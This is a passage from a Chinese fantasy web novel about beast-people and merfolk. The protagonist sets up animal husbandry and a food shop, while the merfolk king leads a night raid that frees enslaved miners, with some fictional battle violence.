这会儿兽人们正在给树剥皮,偶尔走个神,嗅一嗅空气中的食物味道。 这个时候,林猫兽人们已经在做饭了。 龟鸣刚抓上来的鱼处理干净先炸再红烧,味道喷香。王国里的兽人们哪里见识过这么做肉,一个个馋得尾巴直摇。 兽人们听到动静,转头见菱来,招呼道:“菱!” 菱早已经站直,端庄沉静。 他轻摆了下手,先凑到林猫正在做饭的大锅旁看了看,道:“早知道你们做得这么好吃,该叫你们做。” 兽人不知道什么是客气。 清笑道:“现在也不晚,待会儿尝尝。” 菱点头:“那是当然。” 菱是王城的大管家,除了打仗以外的其他事情,按理说都该他管。 他也对白争争这活儿好奇,拉着他道:“跟我说说,你什么打算?” 白争争便走到空地中心,道:“我打算先建房子,分别养长耳兽跟野鸭。” “长耳兽繁殖快,一窝接一窝,笼养最好。野鸭的话,屋里要盘个火炕,正好冬季来了,抓了野鸭回来孵蛋,明年就能下水养。” “角兽胆小,这边兽人活动多,就不养在这边。直接在北边山下搭些棚子,放养。” “这边离田近,多挖几个粪池,沤肥出来还可以送过去施肥。野鸭吃谷物、虫子、杂草,长耳兽也吃草,正好紫皮根的藤可以喂,到时候从田地里直接送过来。角兽就放牧。” 菱见旁边大坑中,兽人正在往外面运土。低头瞧了瞧,很深。 他点点头,虽然火炕什么的听不懂,但知道白争争有主意就好。 他估摸着养百只就是上限了,最多就够云猫那种小部落吃。 但他也不打击亚兽人的积极性。 做为王的伴侣,能有这份心就已经很好。 他鼓励地拍拍白争争的肩,“有需要找我帮忙。” 白争争:“要工具。” 菱:“你画,到时候给我送来就行。” 白争争笑得露出白白的牙,“好!” 菱又闲逛了一会儿,看到河边晒太阳的大乌龟,翻身坐在他背上去歇着。 龟鸣探出个头,见是人鱼,嗖的一下缩了回去。 菱翘了翘龟壳,道:“你就是那个上门要债的?” 龟鸣不敢不回,闷在龟壳里道:“是。” 菱:“你们龟部落还有多少兽人?” “三、三百。” 菱:“以前不是三千?” 龟鸣:“祭司说都走了。” 菱忽然道:“你认识龟喧吗?” “嗯?”龟鸣探脑袋,豆豆眼盯着菱,“你认识我爷爷?” 菱摸着下巴,冲着他一笑。 “哦,你爷爷。” “你知道你那些走了的族人去哪里了吗?” 龟鸣:“不知道,祭司说他们受不了第二环岛的生活,跑了。” 菱:“没准儿被抓了。” “啊?” 菱看他傻兮兮的,不想跟他说话。 龟喧爷爷的爷爷都能被抓,也不知道南部那边抓走了多少兽人。 菱笑容发凉,看得龟鸣打了个哆嗦,瞬间又钻进壳里。 “吃饭了!”清吆喝。 幼崽们抱着碗筷放好,兽人们拿了碗就急急忙忙排在锅前。 河边五口锅排开,清、州还有圆掌勺,风几个跟幼崽辅助。 五口锅里两口是红烧鱼,三口是紫皮根。 这里的兽人们将紫皮根当主食,寻常也吃不了多少肉。 那紫皮根上盖上满满一大勺的红烧鱼,汁水顺着缝隙,盖在软糯的紫皮根上,也别有风味。 兽人们狼吞虎咽。 以前紫皮根吃腻了看着都没意思,跟着林猫干活才知道还能有其他吃法。 现在林猫的活儿他们是抢着干。 别的兽人不知情况,可怜他们当苦力,他们心里不知道笑得多开心。 不知道好,不知道就没兽人来抢。 菱也端了一碗,兽人们看他还在龟背上,也爬上去放下碗吃。 龟鸣幽怨,没看见他还没吃呢嘛。 还是幼崽看到,跟他放了碗在脑袋边。 菱瞧着碗里深色的鱼肉,抿了一口,丰富的味道在舌尖炸开。 他看着碗里,低声道:“怎么做的?” 白争争:“简单,不过就是要的香料多些。需要用到豆子做的酱。” 菱:“教我。” “行。”白争争看了他一眼,“可是你也不做饭啊?” 菱唇一勾,“做给你哥尝尝。” 白争争吃了一口狗粮,闷咳了声,感慨他哥失踪的日子过得挺好。 当时阿吉怎么说来着。 说他哥在人鱼王国还穿得挺好呢。 多半就是他嫂子给打扮的。 * 饭后,白争争跟菱回去一趟,急急忙忙先把要的工具画出来,然后交给菱。 之后几天,兽人们继续忙,后山声音就没断过。 等到田里的兽人们将紫皮根都收回去完了,地里再没有其他作物,他们忍不住好奇,悄悄爬上山,偷摸去看。 白争争正劈着斧子,边上的年忽然凑过来,悄悄道:“争争,有兽人在看我们。” “谁在看?” 白争争一斧子劈下,木屑四溅。 藏在树林里的兽人们心肝儿一颤,紧紧盯着白争争手上那黑东西。 骨头不像骨头,石头不像石头,不知道什么东西做的,这么厉害。 白争争道:“让他们要看过来看呗,正好帮帮忙。” 年奸笑一声,他就知道争争不会放过任何一个兽人。 年回头冲着山上喊道:“你们快来,帮帮忙!” 林子里的兽人一惊。 幼崽满手的泥巴,抬头望去。耳朵尖都挂着干掉的泥巴。 小小年纪,一副沧桑样子。 “下去吗?” “都被看到了,走!”为首的兽人是个象族的,胆子大,兽形也比其他兽人大了不少,跟巨人似的。 后头兽人正对白争争好奇,紧紧跟了上去。 刚下到山脚,年就道:“来来来,正愁兽人不够。” 说着一个兽人塞一把锤子,拉着夯土。 象兽人一呆。 真让他们干活儿。 年道:“跟其他兽人一样,咱把这个土反复捶打。用点力啊。” 白争争直起身,笑看着这十几个兽人,温和道:“谢谢过来帮忙,要是明天有空的话,也来。管饭。” 其他兽人顿时警惕支棱起脖子看来。 象兽人默默颠了颠手中的玩意儿,随手抡起锤子。 啪—— 看似轻飘飘的一下,土块都震了震。 兽人们一惊,立马有了竞争意识,噼里啪啦,干活更积极。 白争争眯眼,笑得更和善了。 是个有力气的,不能放过。 河里,刚抓着鱼爬出来的龟鸣见到白争争的笑脸,一哆嗦,扔下鱼就掉头溜进河里。 也不知道当初他为什么被区区一点银币给骗了,现在每天除了下河就是帮他们搬东西,比他在海上干活儿的时候还要累。 现在想走,兽人们就笑嘻嘻地看着他,看得他龟壳里发凉。 这来的一群兽人里,大部分是食草部落的。 这是个杂居的部落,有象族、鸟族、鹿族、牛族等等。 瞧瞧那手臂上劳作出来的肌肉,一看就有一把子力气。 空地上兽人们分作几群,有夯土的,有刨木头的,有挖坑的,和泥巴的…… 连幼崽都蹲在泥坑边,踩着泥帮忙。 没一个空闲。 那十几个兽人明明是下来看热闹的,等抡了一会儿锤子,才后知后觉地反应过来,他们被抓来干活儿了。 鹿兽人悄悄往象兽人身边挪了挪,示意他们来的目的。 象兽人瞄了一眼白争争。 “你自己问。” 鹿兽人:“我问就我问!” 他抡锤子的动作慢了些,察觉到一缕视线,转过去,却见刚刚给了他们锤子的兽人真友善地看来。 “是锤子不顺手吗?” 鹿兽人立马道:“顺手。” 年点点头:“哦,那咱们加快速度,争取今天晚上把土夯好。” 鹿兽人迷迷瞪瞪:“哦,好,好。” 又快速抡了几锤子,后知后觉,不是,他刚刚是要干什么来着?! 旁边脑袋上顶着红毛的鸟兽人见一个两个不顶用,最后忍不住自己开口问道:“王的伴侣,我们是要建房子吗?” 白争争愣了一下,才知道是叫他。 他手上不停,回道:“叫我争争就好。是建房子,吵到你们了吗?” 他知道这群兽人在山那边挖紫皮根。 “没有,我们就是来看看。” “你跟王过不下去了?” 白争争惊愕,斧子一重,深深嵌入木头中。 他使劲儿拔了拔,居然没出来。 他不好意思地对鸟兽人笑笑。 可鸟兽人却觉得那笑容是警告,瑟缩着,往象兽人身后躲了躲。 白争争一脚踩在木头上,绷着脸,一边拔斧头一边道:“怎么会,过得下去。” 那话就跟咬牙切齿说的似的。 几个兽人连连使眼色。 看看,就是! 白争争一听就知道王国里不知道怎么传他跟烬的谣言呢,多半到了已经带娃独居的地步了。 他也不解释,他每天从西边进城堡,没经过王国另一边,兽人们没看到,胡乱猜测也正常。 鸟兽人怕林猫恼了,闷头吭哧吭哧干活儿。 * 南部。 与环洲隔了千里远的地方,一片汪洋承托着一座大岛。 岛上树木森森,藤条如蛇,自树上垂下,挂满了苔藓。岛屿的最南端,高高的石墙围筑,遮挡外面窥探的视线。 围墙之内,茂密的林地被铲出一片空地,兽人们萎靡,如行尸走肉围在炉旁,浇筑着银币。 而在几十公里外,丛林遮蔽的山中,一条矿洞蜿蜒入地。 洞中只点了几盏油灯,兽人们像工蚁一样在里面来来往往,一趟又一趟地搬运东西。 白发兽人混在其中,背脊佝偻,绸缎般的长发早已经被剪断,沾了泥巴尘土,变得灰扑扑的。 洞口内,有人鱼盯着他们。 那些人鱼身上或多或少都有疤痕,有的甚至少了耳朵,没了眼睛。一脸凶戾相,在一旁虎视眈眈。 眼前兽人稍慢了些,人鱼便一棍子打来,早已经累到极限的兽人子喉咙发出一声气音,倒地不起。 旁边的人鱼皱眉:“打死了。” 黑色人鱼恶笑道:“死了就死了,奴隶兽人多的不是。” “你去抓?” “不是有兽人抓,瞎操心个什么!” “吃饭了!”洞口一声呼喊,打断了两个人鱼兽人的针锋相对。 来的人鱼抬着筐子,里面是死了不知多久的海货。 他们随便往地上一倒,兽人们听到指令,顿时扑过去,抓着就往嘴里塞。 人鱼只给他们吃这些。 海货已经臭了,抓着滑溜溜的,一股恶臭。 兽人们不得不吃。 不吃干不动活儿,干不动就挨打,打多了就只有死的份儿。就像刚刚那个兽人一样。 兽人们黑漆漆的手抱着没处理过的鱼,露出犬牙就啃。 白发兽人眼疾手快抓了几条,蹲到兽人们后头的阴影里去。 这矿里的兽人上千,不止这一个挖掘地点,沿山还有几个。 兽人之间不相通,被人鱼分开看守。 “阿爸,吃。”鹤回到中年亚兽人身边,低低道。 希微微喘了口气,背靠着石壁坐在地上。他拿过鱼来,默默啃了一口。 他们已经吃这样的食物吃了很久了,从最开始的恶心,现在已经能面无表情吃下去。 边上还有人鱼守着,希瞧着自己跑了又被抓来的崽子,嘴唇翕动,到底是不敢多言。 吃完后,他紧紧抓着鹤的手,挨着他闭目。 兽人们早上醒来开始挖矿,只有中午吃饭的这时候有一点点时间。 他需要睡一会儿,不然下午撑不住。 矿洞里的兽人一天只吃两顿,有时候是臭鱼,但鱼即便是是臭的也总没那么多。有时候是随便一把草叶混着的紫皮根,清汤寡水,也不顶饿。 鹤不动,让自己阿爸靠着好好休息。 矿洞的位置跟情况他已经摸清楚了,消息送了出去,只是不知道人鱼收到没有。 鹤感受着自己阿爸硌人的身体,心里焦急。 矿洞里环境糟糕,兽人们不见天日,睡觉都是在里面睡的。 加上食物又是那样的,几乎每天都有兽人倒下。 他们是林猫,体质本来就差一些,他阿爸更是亚兽人。 鹤抿紧唇,隔着头发看着守在门口的守卫。 人鱼不来,他就得想办法。 第58章 第 58 章 解救 离大岛数里远, 有几座小得只能建几座房子的岛屿。 兽人们以此为两边领地的分界点,并在这方长久地斗争。 前王弄死了不少对面的人鱼,加上烬上次给对面重创,南部的人鱼就学会了搞偷袭跟恶心人。 打不打得死人鱼先不说, 就是要在这边闹过一番, 弄得人鱼烦又没办法才好。 就好比现在。 烬立在岛上, 见远海的龟兽人向着他们靠近。 风送过来一阵阵腐臭与腥气, 人鱼们纷纷将兽皮绑在脸上, 拳头捏得咯吱响。 祭司命站在烬的身边, 叹息道:“那些龟兽人背上的都是他们抓过去的奴隶兽人, 有的半死不活, 有的已经死了。” “他那岛不舍得放这些兽人,偏偏要运过来扔在这边。” 秋半分看不上这样的行为,道:“奴隶兽人都要死了,还要利用。这样的兽人放在我们手里跟砍菜头一样,顶个什么用。” 旁边人鱼道:“能恶心咱们。” 秋脸一皱, 更嫌弃了。 这处有四座将将露出水面的小岛, 海水颜色宝蓝, 干净得能看到下面的珊瑚礁与游鱼。 但现在珊瑚被兽人们破坏得差不多,加上对面把这里当垃圾场,水中都臭烘烘的。 “来了。” 龟兽人已在眼前,他露出个脑袋,见烬在,豆豆眼一亮。 隔着很远,烬仿佛看到了他眼中的光芒。 烬:“那龟族也是被抓过去的。” 命道:“那就是龟喧的阿父。” 龟兽人激动人鱼王来了,可脖子处一凉,他瞬间缩回去, 一柄长矛刺戳进了海水中。 龟兽人顿时冷汗津津。 “老实点!”站在龟背上的人鱼沉着脸道。 龟兽人一个接一个,到地方倒了背上的兽人,又返回去继续运送。 南部的人鱼落在海中,看着烬,示意兽人爬上岸。 “去吧,要是能杀一条人鱼,我就保你们一个幼崽。” 兽人低下头,抓紧手中武器。 烬面色平静,看着这些痛苦快要从眼中溢出来的兽人。 兽人冲锋而来。 海中人鱼早已等候,一摆尾,顿时水花四溅,烬跟前被甩上来一片兽人。 人鱼一尾巴下去就让他们晕了。 后头等候的兽人将他们搬运到房子里去,对岸的人鱼看着,讽笑道:“烬!你怎么不动手啊!杀了他们啊!” 奴隶兽人如蜂群,一群接着一群,顿时两座岛屿中间血水与浮尸弥漫。 仿佛这海面上只有南部人鱼扔过来的奴隶兽人。 烬耳朵一动,忽道:“杀。” 霎时,海中冒出数条人鱼,他们藏在奴隶兽人之中,接近过来。 南部人鱼凶蛮,爪子就是武器。一个个疯狂得如得了病的野兽,直冲人鱼王国兽人的脖子。 而这边,早已等候着的人鱼一拥而上。 爪子刺破血肉,掀翻一条条人鱼。尾巴成了武器,毫不留情地一甩尾,便是兽人骨头断裂。 海水涌动,藏住了水底下的拼杀。 人鱼时不时浮起,在奴隶兽人的浮尸中缠斗,拼杀。 命站在岸上,摇了摇头。 这次来的人鱼多,起码一千。烬加入其中,身后的秋带着人鱼纷纷跳入海中。 暗红色的人鱼浮在泛红的海水中,他仿佛不受腥臭的海水影响,精准找到浮尸中藏着的南部的人鱼兽人,一手一个,如收割机器一般,迅速弄死人鱼。 渐渐的,兽人们杀到眼红。 烬趁乱看了一眼祭司,打个手势,忽然往深海下潜。 秋紧随而上,悄悄地跟着,随行数十条人鱼。 他们绕过那片被染红的汪洋,躲开南部人鱼的视线,快速将返程的龟兽人拦截。 龟啼看清暗红色的人鱼,立即凑过去,“王!你可算来了!” 烬借着龟兽人的遮挡,低声道:“走。” 龟啼悄悄看了眼前头坐在龟背上的南部人鱼,脑袋埋入水中。 巨大的身体往前滑行,身躯下,十几条人鱼悄然贴着他游动。 行了一程,又是一个岛。 这里是人鱼们搬运奴隶兽人的中转地方。 龟兽人们被人鱼驱使着,停在了岛边。 从南部运过来的奴隶兽人被驱赶上去,龟兽人又转头往回走。 龟啼将人鱼留下,示意他们跟着对面驶来的龟兽人。那是从岛那边送奴隶兽人到中转岛屿的。 两方交错间,人鱼转移位置。 老龟纹丝不动,一切如常地下了奴隶兽人,再回头前往大岛。 在海中行了几日,最终,烬带着兽人上了南部人鱼的地盘。 根据之前鹤传回来的消息,以及从云猫族长跟那几个兽人嘴里问出来的消息,烬已经把南部的各项情况摸得清清楚楚。 兽人们借着龟兽人上岸,隐入丛林。 秋回想这一路格外丝滑顺利,咂摸着道:“龟喧果然好用,幸亏王没将放回去。” 龟喧就是被他们抓住的那个龟兽人。 他现在照旧还在帮南部送“奴隶兽人”跟食物。现在南部人鱼怕是不知道他们在人鱼王国收买的云猫族长已经被抓了。 烬道:“先联系上岛的兽人。” 秋点头,先辨别了下方位。 就像来过一样,顿时目标明确地朝着一个地方去。 夜晚了。 林间听不到鸟鸣,腐臭的海货与奴隶兽人身上的臭味遮掩了人鱼的气息。 从四面八方赶过来的兽人立在烬的身边,低着头汇报: “王,银矿位置已经找到,五个矿洞里都有我们的兽人。” “王!铸银的地方已经找到,位置在最南边靠海。围墙已经处理过,那里的兽人随时能送走。” “南部现有两个人鱼兽人做主,茯的亚兽人和他的成年崽子,两方正在争夺人鱼王的位置。” “撤离地点已经确认好,东部、南部、北部都有海族静候……” 南部的人鱼王国在烬的眼里就跟筛子似的,到处都是漏洞。 要不是上来的兽人不宜多,有需要武力强的,他甚至不用来。 烬道:“运过来的食物他们吃了吗?” “每天都在吃。” 那些食物祭司处理过,都加了药的。 吃多了人鱼也察觉不到,不会病不会死,只是瞌睡多些。 “今晚动手。” “是!” * 矿洞。 天黑了,矿洞里的兽人们终于能够休息。 洞口的人鱼换了一批,奴隶兽人们倚在墙角,熟悉的就互相靠着,闭上眼睛。 身体太过疲惫,人鱼怕他们跑了,又从来没有让他们吃好过。 兽人们捂着咕咕叫的肚子,只能煎熬地忍耐。 半夜,洞口传来人鱼打哈欠的声音。 像是笃定兽人们翻不出浪来,这些人鱼抱着武器,懒懒散散地坐下,阖眼打盹儿。 洞内还亮着两盏油灯,以防出事人鱼看不见。 昏暗飘摇的灯光中,鹤悄然睁眼。 他碾碎了手中的药丸,一股淡淡的香气混杂在汗臭当中。飘向洞口。 人鱼们脑袋一歪,呼噜声更响了。 鹤等了一会儿起身,缓缓往洞口靠近。 却才走几步,听到外面传来的脚步声。鹤猛地往原来的位置上一蹲,正装睡,忽然听到两道咔嚓声。 他猛地抬头,正好对上秋泛着幽光的眼睛。 而从洞口到外,已经倒了十几个脖子扭曲的人鱼。 秋甩甩手,“睡得跟死兽人一样,还以为多大能耐,原来疯的那些都专门打我们去了。” “秋!”鹤听出声音,绕过兽人们,走到秋身边。 秋指甲一甩,警惕地上上下下打量他,忽然惊掉了下巴。 他那夸张的长指甲对着鹤,道:“春!你怎么这样了?!” 整个兽人都是灰扑扑的。 瘦得两颊凹陷,一身皮挂在骨头上。头发剪了,残次不齐比晒干的海草还难看…… 菱可是将好不容易将他养得又白又漂亮的,连给他穿的兽皮都是最好的。 要是菱在,看到他这副模样不知道悄悄哭成什么样。 鹤赶紧道:“不是说话的时候,你这是……” 秋赶紧道:“对对对,你快点把他们叫醒,咱们走。阿嚏!” 秋迷茫地揉了揉鼻子。 怎么有点儿困? 鹤一顿。 他才下了药。 秋知道他是当祭司培养的,一看他面色不对,他们又在这儿说了许久的话了还不见兽人们醒来,就知道有问题。 “干嘛了刚刚?” 鹤:“下了点药,疼几下……应该能醒。” 那没办法,来这边的兽人就这么多,又不能一个个背出去。 秋弯了弯爪子,先给了自己一下,顿时一激灵。然后再阴恻恻笑着,挨个儿戳。 兽人瑟缩着醒来,还以为是又被叫醒来要干活儿,疼也不敢吭声。 秋见了,一点都没有成就感。 他收敛玩心,严肃道:“闭上嘴,跟着跑,带你们离开!” 秋转头往外,鹤一看,赶紧搀扶着自己阿爸跟上。 兽人们见状,眼里迸发出惊人的生命力。 有兽人来救他们了! 兽人顿时往外冲去。 出山洞时,见地上躺着的人鱼吓得往后躲。可看鹤带着兽人径直掠过,兽人们忍住害怕仔细看了眼,发现人鱼脖子都断了。 兽人们大喜! 他们想也不想,紧紧跟着人鱼,害怕被落下。 得益于矿洞周围都是茂密的林子,兽人们在林中穿梭,暴露几率不大。 但奴隶兽人被解救出来,还是互相警惕地看着四周。 见人鱼朝着北的方向,兽人们有些焦急。 其中一个瘸腿的狼兽人跑上前,急着在人鱼耳边道:“他们这边的人鱼都居住在北部。” 秋没废话,只道:“跟好就是了。” 一路奔袭,恐怕过了一小时,兽人们忽然在林中听到大片兽人的动静。 他们下意识要躲,秋却道:“你们的族人。” 几方兽人汇合。 兽人中响起一阵喧闹。 “阿爸……” “族长!” 兽人们在兽人队伍中见到了熟悉的身影。 鹤四处搜寻,紧紧抓着自己阿爸。也看到了不少林猫族人。 希更是抓住自己伴侣的手,喜极而泣。 照紧紧抱住自己伴侣,又摸了摸自己的大崽子。看伴侣摇摇欲坠的身子,当即将他背起。 族人们围拢过来,互相搀扶着,眼里是终于能离开的喜悦。 前头的人鱼道:“别说话,快跟上。” 北部王庭。 烬看着一圈一圈石头房子包裹的王宫。 本来就是依照人鱼王国的城堡建的,但似乎技术不太行,只建两层吗,形状还奇奇怪怪的,像他家伴侣喜欢吃的蒜头。 烬带上来的人鱼跟龟喧送来的兽人都是精卫,一个顶几十个。 大半晚上,就已经将兽人撤离。 秋赶来北部,奴隶兽人们此时已经往外围离开。 他见烬隐藏在树上,脚步蹬了几下,也落在烬边上。黎明的微光中,他看着那密密麻麻的建筑物,低声道:“王,要不咱们直接把里面的人鱼也弄了!” 烬:“你试试?” 人鱼主事的几个都怕死得很,没看那一圈一圈轮换着的人鱼护卫。 虽然吃了祭司下了药的食物,不停打瞌睡,但不也撑着杵在那里不敢走。 秋:“咱好不容易上来。” 烬:“奴隶兽人行动缓慢,最好不要惊动他们。” 不然这次上岛的目的就达不成。 “走了。”烬道。 他立在这里,只是防止兽人们在行动中,这边有所察觉。能快速反应并制敌。 相当于压阵的。 此时,海岛北、东、南部,三面人鱼最少的地方,海洋兽人缓缓冒头靠岸。 黑漆漆的林子里,兽人们往外跑。 人鱼跟狼、虎等兽人组织着,安排兽人一批一批爬上海洋兽人的背。 快天亮了,烬赶到北部,坐上龟喧爷爷的龟背上。 …… 最近岛上的人鱼似乎格外好睡,他们不睡到日上三竿醒不来。 随着清醒,人鱼打着哈欠,一起吃过饭后拿上家伙,去催促那些兽人干活儿。 黑色人鱼往手上缠了鞭子,骂骂咧咧道:“都这会儿了,还没听到里面有动静,都懒得想死了。” 一队十几个人鱼踏入山洞,却忽然止步。 之间洞口人鱼横七竖八躺在地上,用脚踢了踢,身体都已经僵硬了。 “遭了!” “出事了!”其他矿洞陆续响起同样的声音。 南边,兽人们冶炼银币的炉子好好伫立在地面,可一个兽人也不见。 人鱼搜寻去,却见隐藏在林子附近的高墙上,不知何时有了个大窟窿。 “呼——” “呼——” 沉闷的警报音在岛上掀起,一个传递一个,直送到王庭。 人鱼紧急汇合,只知道岛上定是来了人鱼王国那边的兽人。他们一边往王庭赶,一边迅速搜查奴隶兽人的踪迹。 而王庭之中,主事的两个兽人坐在满是人鱼护卫的屋中,难得同心。 “王!岛上已经被入侵,奴隶兽人全部不见了。” “南部的一队人鱼死了,矿洞的也死了!损失三百人鱼。” “王……”还有人鱼陆续赶来,焦急道,“龟族也没了!海洋兽人都跑了!” 高座上,金发亚兽人面容阴鸷,一拳砸碎了王座。 “一群蠢货!奴隶兽人都看不住!” 而浅金发的雄兽人拍了拍自己阿爸的肩膀,道:“阿爸,对着他们撒气有什么用。” “还不快追!” …… 海上正乱,白争争不知情况,一心闷头干活儿。 木头都刨好了,只差搭建。被烬派遣出去找野兽的六个大部落的兽人们却带着野兽回来了。 已经打好地基的空地上,野鸭嘎嘎嘎地叫,长耳兽乱跳乱刨坑。 兽人找了这个,抓那个,忙得不可开交。 白争争一看不行,房子必须尽快建好。 他干脆直接招工,让其他兽人来帮忙。 洋跟寻赶紧接下这活儿,拍了拍胖了不少的肚子,走街串巷地吆喝。 “招工!后山招兽人,管一顿饭,一天五个银币!” 兽人们一看是人鱼在吆喝,本来还感兴趣。可一听完,努努嘴,有些看不上眼。 “才五个银币,哪个冤大头愿意去。” “我!我!” “我力气大!” “……” 后山,白争争见赶来的兽人都比六个部落抓的野兽多了,又是欢喜,又是纳闷。 他记得他只给了五个银币啊。 怎么这么受欢迎。 正想着,就看兽人们已经凑到清跟州哪里去。 一个个如狼似虎,问:“真的管饭?” 清镇定地搅动一锅汤,“管。” “那我不要银币,可以管两顿饭吗?” “不……” “不行也可以,那我可以带我家幼崽来跟我一起吃吗?他吃得不多,你放心。” 清默默地看向白争争。 白争争睨一眼那已经在这边干了几天的象兽人、鹿兽人。 象宝:“我可没说!” 鹿花:“我我我我也没说!” 最早来帮忙干活的几个大部落的兽人怒气冲冲地看着他们。 这下可好,来这么多抢吃的。 早知道争争要招兽人,他们把族人叫来不就成了。 “哎!” “哎!”白争争也叹。 兽人太多,清几个颠勺都颠得手抽筋。既然他们这么喜欢,他干脆在王国里搞个食堂算了。 还能挣钱。 白争争眼珠子一转,顿时觉得这是个好主意。 不过当务之急,先得挑一挑兽人。 …… 时间迅速,转眼半个月后。 山后的房子拔地而起,数百只野鸭与长耳兽同时被关进屋子里。 一共五间大房子,墙面用泥土与稻草夯实,木头房梁。房顶盖的稻草,冬暖夏凉。 屋里空间大,三个屋里被分成一格一格的小空间,垒了齐兽人腰高的围墙,像猪圈一样。 一个屋能有十个圈。 里边儿垫了干草,天冷了,野鸭赶紧去,自己就会趴在干草上睡觉。 其中一间房里修了火炕,用来孵化鸭蛋的。另一个屋就做兽人们休息的地方。 长耳兽少些,只五十只,照样养在这样的圈中。 抓回来的野兽安了家,白争争又飞北边一趟,看看兽人们赶回来的角兽。 数量不多,一共也才二十头。 这边同样修了棚子,能遮风挡雨。 角兽绑在棚子里的柱子上,跟养牛似的,只每顿放些草就是。 一切准备就绪,只等野鸭生蛋,长耳兽跟角兽生崽。 后山山脚。 兽人们在吃最后一顿散伙饭。 大黑飞过一趟,翅膀挥震两下,盘旋着慢慢往下降。 象宝咬了一口外酥里软的大肉饼,仰头看着大黑,眼皮耷拉,魁梧的身子愣是让人看出点可怜。 林猫挎着篮子走过,给吃完的兽人们添饼子。幼崽跟在后面倒甜滋滋的果子水。 芽看他一口闷完,给他续上,半大少年也不走,问:“不让你们干活儿了,你怎么还要哭不哭的?” 小胖墩肉倒退回来几步,盯着人家眼睛看。 “芽,人家没哭,你快点跟上啊。” 白争争降落在地,看幼崽们将象兽人围住,“怎么了?” 象兽人道:“争争,你以后有活儿叫我们,我们肯定帮忙。” 白争争接过雁送来的肉饼,咬了一口,随意在龟鸣身边盘腿坐下。 “我肯定不跟你们客气。” “那……我们以后能来你这里吃饼子吗?我们给银币。” 白争争:“这里怕是不行。” 其他兽人竖着耳朵听着,闻言伤心地狠狠啃了一口大饼子。 林猫兽人们做饭这么累,他们也看在眼里。哪有不干活了,还让人家成天围着锅转,做饼子的啊。 “但我专门在城里买了大房子做店,卖食物,你们要是喜欢就去光顾。” “真的!在哪儿?!” 清温柔笑道:“就在城堡那条街。” 白争争点点头。 他现在相当于在给人鱼王国打工,菱给他支了银币当工钱。刨除给来做工的兽人们的,剩下就全是他们林猫的。 在王国里生活处处用银币,也不能一直靠着给人鱼干活赚。 白争争看兽人们这么喜欢清他们做的食物,干脆就开个饭店算了。 兽人们吃得粗糙,林猫们手艺比不上白争争上辈子吃的那些,但比起兽人们做的,那好了不知道多少。 但银币是大家的,白争争不能直接拿去用了。 跟清他们商量了,才拜托人鱼帮忙,买下了个大房子。 现在他们还没去收拾,等这边收工了就过去。 馋嘴的兽人一听,欢欣得手舞足蹈,吃过饭后也不一步三回头了。 爽快地问了位置,先提前过去去踩踩点。 残阳西坠,白争争留下看守房子的兽人,便带着林猫兽人们先去新买的房子。 骑着食人鹰过去,也就是一会儿的事。 食人鹰落在城堡前头,菱安排的兽人已经把它们的食物准备好了。 白争争见菱出来,习惯性问:“烬还没有回来吗?” 菱摇头,眼神比他还幽怨。 白争争忙转移话题道:“我带兽人们去看看房子,嫂子你去不?” 菱摆摆手:“不去,回来帮我看看炉子。” 兽人们速度快,人数又多,干脆几种材料一起试验,一口气在山坳里建了好几个大炉子出来。 得试一试,才知道哪个合适。 白争争应下,就带兽人们离开了。 新房子离城堡百多米,几下就走过去。 白争争开了门,进去后点燃油灯。 浮尘在火光下轻轻扬动,空荡荡的屋里有些尘土味。里面没什么东西,站在门口就一览无余。 幼崽探头探脑进来,蹦蹦跳跳几下就将屋子跑完。 房子大,有正屋和左右两个房间。 白争争随着林猫兽人们看,边道:“咱们卖食物的话,中间屋子要起锅生炉子,用个墙面隔开前后。前面卖,后面做。” “左右两边收拾收拾,放几张床,以后想住哪里都行。” 清看完回来,问:“我们做什么食物?” “大肉饼!”幼崽高呼,还咽了咽口水。 白争争故意道:“大肉饼可不好做。” 肉:“就要大肉饼!” 白争争捏住他肉乎乎的小脸,道:“那你说,卖多少银币一个?” “五十!”肉眼里满是对肉饼的渴望。 白争争:“你知道五十是多少吗?能数得清吗?” 肉扭扭捏捏,往雁身后一躲,也不跟白争争对视。 白争争哼笑一声。 “这段时间忙,没检查你们功课,要是不合格,肉饼以后别再想吃。” 幼崽们齐刷刷垮了脸。 “不嘛……” 白争争:“没得商量。” 天黑了,外面海风吹着冷。 白争争关了门,带着兽人们回去,认真商量起做吃食的事儿。 人鱼王国里能大量种植麦,也自然能磨麦。不过靠着兽人来磨,也费力得很。 自然,定价也不会很便宜。 清道:“肉汤什么的兽人们有锅就能做,我也觉得幼崽说的饼子最好。可以是肉饼也可以是菜饼、蛋饼,能弄不少花样。” 而且都是用面粉做,不用操心其他食材。对林猫兽人们来说,简单点不费神。 白争争道:“行,面粉跟肉咱们从人鱼这边买。有人情在,能先赊账。” 清点点头。 州道:“那我们都去做这个?” 白争争道:“我还要弄养殖的事儿,清、州……你俩商量看看,愿不愿意做这个?” 清道:“我没问题。” 州道:“那我给清帮忙。” 白争争道:“后山那边没多少活儿了,有人鱼在帮忙。你们都想想自己有什么想做的,都行。” 圆道:“争争,我想做链子卖。雁跟我一起,还有启。” 雁跟启默默点头。 年道:“清清做什么我就做什么。” 肉摇头,肉嘟嘟的脸微微颤动,“不做,什么都不想做。” 白争争没好气道:“随你,注意安全就是。” 第59章 第 59 章 归来 微风习习, 雨丝如针笼罩着人鱼王国。 天才亮过不久,清就带着幼崽们出现在城堡前的街道。 幼崽头顶硕大的叶片,走走停停,时不时仰头迎接冰冰凉凉的雨丝玩儿。 清快步打开新房子的门。 幼崽鱼贯而入, 各自从年手里拿了兽皮帕子、干草扫帚还有鬃毛刷子, 立在门口等候吩咐。 清拿着个长木棍, 顶端绑了带叶的树枝, 稍稍一动, 树叶就哗啦啦响。 “年, 你带风他们去弄些做床的木头回来吧。” 年道:“揉饼的板子要不要?” “你看着来。” “好。”年随手捞了张幼崽遮雨的大叶子, 顶在头上, 带着风几个离去。 他们走后,清道:“州、圆,俩各带六个幼崽分别负责两边的屋子,角角落落的灰尘都要收拾干净。” 余光见幼崽竖着耳朵,昂首挺胸, 此时已经认真起来了。 清笑了笑, 抬手让他们去了。 一上午, 房子里闹腾不已。 幼崽隔会儿互相往两边侧房跑,对比两边进度,互相检查打扫得怎么样。 等清理完,年跟风几个便拿回来木板跟木头墩子来,随后在左右两侧的屋中搭床。 清瞧着整洁干净的房子,心里踏实。 总算也有属于林猫部落的房子了。 两边整好,中间就开始搭建灶台跟案台,兽人们一起忙,半个下午就弄好了。 等阴干的时候, 兽人们将锅碗瓢盆还有兽皮家当都带过来。 之后就直接在这边睡觉,不用去城堡里了。 